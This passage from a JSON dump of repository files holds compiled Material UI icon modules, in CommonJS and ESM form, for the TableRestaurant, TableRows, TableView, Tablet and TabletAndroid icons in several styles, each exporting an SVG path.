    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.96 9.73-1.43-5c-.12-.43-.51-.73-.96-.73H4.43c-.45 0-.84.3-.96.73l-1.43 5c-.18.63.3 1.27.96 1.27h2.2l-1.05 7.88c-.08.59.38 1.12.98 1.12.5 0 .92-.37.98-.86L6.67 15h10.67l.55 4.14c.07.49.49.86.98.86.6 0 1.06-.53.98-1.12L18.8 11H21c.66 0 1.14-.64.96-1.27M6.93 13l.27-2h9.6l.27 2z\"\n}), 'TableRestaurantRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRestaurantRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.96 9.73-1.43-5c-.12-.43-.51-.73-.96-.73H4.43c-.45 0-.84.3-.96.73l-1.43 5c-.18.63.3 1.27.96 1.27h2.2l-1.05 7.88c-.08.59.38 1.12.98 1.12.5 0 .92-.37.98-.86L6.67 15h10.67l.55 4.14c.07.49.49.86.98.86.6 0 1.06-.53.98-1.12L18.8 11H21c.66 0 1.14-.64.96-1.27M6.93 13l.27-2h9.6l.27 2z\"\n}), 'TableRestaurantRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRestaurantSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.33 11-2-7H3.67l-2 7H5.2L4 20h2l.67-5h10.67l.66 5h2l-1.2-9zm-15.4 2 .27-2h9.6l.27 2z\"\n}), 'TableRestaurantSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRestaurantSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.33 11-2-7H3.67l-2 7H5.2L4 20h2l.67-5h10.67l.66 5h2l-1.2-9zm-15.4 2 .27-2h9.6l.27 2z\"\n}), 'TableRestaurantSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRestaurantTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5.18 6-.85 3h15.34l-.85-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.96 9.73-1.43-5c-.12-.43-.51-.73-.96-.73H4.43c-.45 0-.84.3-.96.73l-1.43 5c-.18.63.3 1.27.96 1.27h2.2L4 20h2l.67-5h10.67l.66 5h2l-1.2-9H21c.66 0 1.14-.64.96-1.27M6.93 13l.27-2h9.6l.27 2zm-2.6-4 .86-3h13.63l.86 3z\"\n}, \"1\")], 'TableRestaurantTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRestaurantTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5.18 6-.85 3h15.34l-.85-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.96 9.73-1.43-5c-.12-.43-.51-.73-.96-.73H4.43c-.45 0-.84.3-.96.73l-1.43 5c-.18.63.3 1.27.96 1.27h2.2L4 20h2l.67-5h10.67l.66 5h2l-1.2-9H21c.66 0 1.14-.64.96-1.27M6.93 13l.27-2h9.6l.27 2zm-2.6-4 .86-3h13.63l.86 3z\"\n}, \"1\")], 'TableRestaurantTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRows.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 8H3V4h18zm0 2H3v4h18zm0 6H3v4h18z\"\n}), 'TableRows');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRows.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 8H3V4h18zm0 2H3v4h18zm0 6H3v4h18z\"\n}), 'TableRows');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRowsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 2v3H5V5zm0 5v4H5v-4zM5 19v-3h14v3z\"\n}), 'TableRowsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRowsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 2v3H5V5zm0 5v4H5v-4zM5 19v-3h14v3z\"\n}), 'TableRowsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRowsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8H5c-1.1 0-2-.9-2-2s.9-2 2-2h14c1.1 0 2 .9 2 2s-.9 2-2 2m0 2H5c-1.1 0-2 .9-2 2s.9 2 2 2h14c1.1 0 2-.9 2-2s-.9-2-2-2m0 6H5c-1.1 0-2 .9-2 2s.9 2 2 2h14c1.1 0 2-.9 2-2s-.9-2-2-2\"\n}), 'TableRowsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRowsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8H5c-1.1 0-2-.9-2-2s.9-2 2-2h14c1.1 0 2 .9 2 2s-.9 2-2 2m0 2H5c-1.1 0-2 .9-2 2s.9 2 2 2h14c1.1 0 2-.9 2-2s-.9-2-2-2m0 6H5c-1.1 0-2 .9-2 2s.9 2 2 2h14c1.1 0 2-.9 2-2s-.9-2-2-2\"\n}), 'TableRowsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRowsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 8H3V4h18zm0 2H3v4h18zm0 6H3v4h18z\"\n}), 'TableRowsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRowsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 8H3V4h18zm0 2H3v4h18zm0 6H3v4h18z\"\n}), 'TableRowsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRowsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v3H5V5zm0 5v4H5v-4zM5 19v-3h14v3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 2v3H5V5zm0 5v4H5v-4zM5 19v-3h14v3z\"\n}, \"1\")], 'TableRowsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableRowsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v3H5V5zm0 5v4H5v-4zM5 19v-3h14v3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 2v3H5V5zm0 5v4H5v-4zM5 19v-3h14v3z\"\n}, \"1\")], 'TableRowsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableView.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7H9c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 2v2H9V9zm-6 6v-2h2v2zm2 2v2h-2v-2zm-4-2H9v-2h2zm6-2h2v2h-2zm-8 4h2v2H9zm8 2v-2h2v2zM6 17H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2v1h-2V5H5v10h1z\"\n}), 'TableView');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableView.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7H9c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 2v2H9V9zm-6 6v-2h2v2zm2 2v2h-2v-2zm-4-2H9v-2h2zm6-2h2v2h-2zm-8 4h2v2H9zm8 2v-2h2v2zM6 17H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2v1h-2V5H5v10h1z\"\n}), 'TableView');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableViewOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7H9c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 2v2H9V9zm-6 6v-2h2v2zm2 2v2h-2v-2zm-4-2H9v-2h2zm6-2h2v2h-2zm-8 4h2v2H9zm8 2v-2h2v2zM6 17H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2v1h-2V5H5v10h1z\"\n}), 'TableViewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableViewOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7H9c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 2v2H9V9zm-6 6v-2h2v2zm2 2v2h-2v-2zm-4-2H9v-2h2zm6-2h2v2h-2zm-8 4h2v2H9zm8 2v-2h2v2zM6 17H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2v1h-2V5H5v10h1z\"\n}), 'TableViewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableViewRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7H9c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 3c0 .55-.45 1-1 1h-8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1m-6 5v-2h2v2zm2 2v2h-2v-2zm-4-2H9v-2h2zm6-2h2v2h-2zm-8 4h2v2H9zm8 2v-2h2v2zM6 17H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2v1h-2V5H5v10h1z\"\n}), 'TableViewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableViewRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7H9c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 3c0 .55-.45 1-1 1h-8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1m-6 5v-2h2v2zm2 2v2h-2v-2zm-4-2H9v-2h2zm6-2h2v2h-2zm-8 4h2v2H9zm8 2v-2h2v2zM6 17H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2v1h-2V5H5v10h1z\"\n}), 'TableViewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableViewSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7H7v14h14zm-2 2v2H9V9zm-6 6v-2h2v2zm2 2v2h-2v-2zm-4-2H9v-2h2zm6-2h2v2h-2zm-8 4h2v2H9zm8 2v-2h2v2zM6 17H3V3h14v3h-2V5H5v10h1z\"\n}), 'TableViewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableViewSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7H7v14h14zm-2 2v2H9V9zm-6 6v-2h2v2zm2 2v2h-2v-2zm-4-2H9v-2h2zm6-2h2v2h-2zm-8 4h2v2H9zm8 2v-2h2v2zM6 17H3V3h14v3h-2V5H5v10h1z\"\n}), 'TableViewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableViewTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9v2H9V9zm-6 6v-2h2v2zm2 2v2h-2v-2zm-4-2H9v-2h2zm6-2h2v2h-2zm-8 4h2v2H9zm8 2v-2h2v2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7H9c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 2v2H9V9zm-6 6v-2h2v2zm2 2v2h-2v-2zm-4-2H9v-2h2zm6-2h2v2h-2zm-8 4h2v2H9zm8 2v-2h2v2zM6 17H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2v1h-2V5H5v10h1z\"\n}, \"1\")], 'TableViewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TableViewTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9v2H9V9zm-6 6v-2h2v2zm2 2v2h-2v-2zm-4-2H9v-2h2zm6-2h2v2h-2zm-8 4h2v2H9zm8 2v-2h2v2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7H9c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 2v2H9V9zm-6 6v-2h2v2zm2 2v2h-2v-2zm-4-2H9v-2h2zm6-2h2v2h-2zm-8 4h2v2H9zm8 2v-2h2v2zM6 17H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2v1h-2V5H5v10h1z\"\n}, \"1\")], 'TableViewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tablet.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 1.99-.9 1.99-2L23 6c0-1.1-.9-2-2-2m-2 14H5V6h14z\"\n}), 'Tablet');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tablet.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 1.99-.9 1.99-2L23 6c0-1.1-.9-2-2-2m-2 14H5V6h14z\"\n}), 'Tablet');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletAndroid.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 0H6C4.34 0 3 1.34 3 3v18c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V3c0-1.66-1.34-3-3-3m-4 22h-4v-1h4zm5.25-3H4.75V3h14.5z\"\n}), 'TabletAndroid');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletAndroid.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 0H6C4.34 0 3 1.34 3 3v18c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V3c0-1.66-1.34-3-3-3m-4 22h-4v-1h4zm5.25-3H4.75V3h14.5z\"\n}), 'TabletAndroid');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletAndroidOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 0H6C4.34 0 3 1.34 3 3v18c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V3c0-1.66-1.34-3-3-3m-4 22h-4v-1h4zm5.25-3H4.75V3h14.5z\"\n}), 'TabletAndroidOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletAndroidOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 0H6C4.34 0 3 1.34 3 3v18c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V3c0-1.66-1.34-3-3-3m-4 22h-4v-1h4zm5.25-3H4.75V3h14.5z\"\n}), 'TabletAndroidOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletAndroidRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 0H6C4.34 0 3 1.34 3 3v18c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V3c0-1.66-1.34-3-3-3m-4.5 22h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5m5.75-3H4.75V3h14.5z\"\n}), 'TabletAndroidRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletAndroidRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 0H6C4.34 0 3 1.34 3 3v18c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V3c0-1.66-1.34-3-3-3m-4.5 22h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5m5.75-3H4.75V3h14.5z\"\n}), 'TabletAndroidRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletAndroidSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 0H3v24h18zm-7 22h-4v-1h4zm5.25-3H4.75V3h14.5z\"\n}), 'TabletAndroidSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletAndroidSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 0H3v24h18zm-7 22h-4v-1h4zm5.25-3H4.75V3h14.5z\"\n}), 'TabletAndroidSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletAndroidTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.75 3h14.5v16H4.75z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 0H6C4.34 0 3 1.34 3 3v18c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V3c0-1.66-1.34-3-3-3m-4 22h-4v-1h4zm5.25-3H4.75V3h14.5z\"\n}, \"1\")], 'TabletAndroidTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TabletAndroidTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.75 3h14.5v16H4.75z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 0H6C4.34 0 3 1.34 3 3v18c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V3c0-1.66-1.34-3-3-3m-4 22h-4v-1h4zm5.25-3H4.75V3h14.5z\"\n}, \"1\")], 'TabletAndroidTwoTone');"
  },
  {
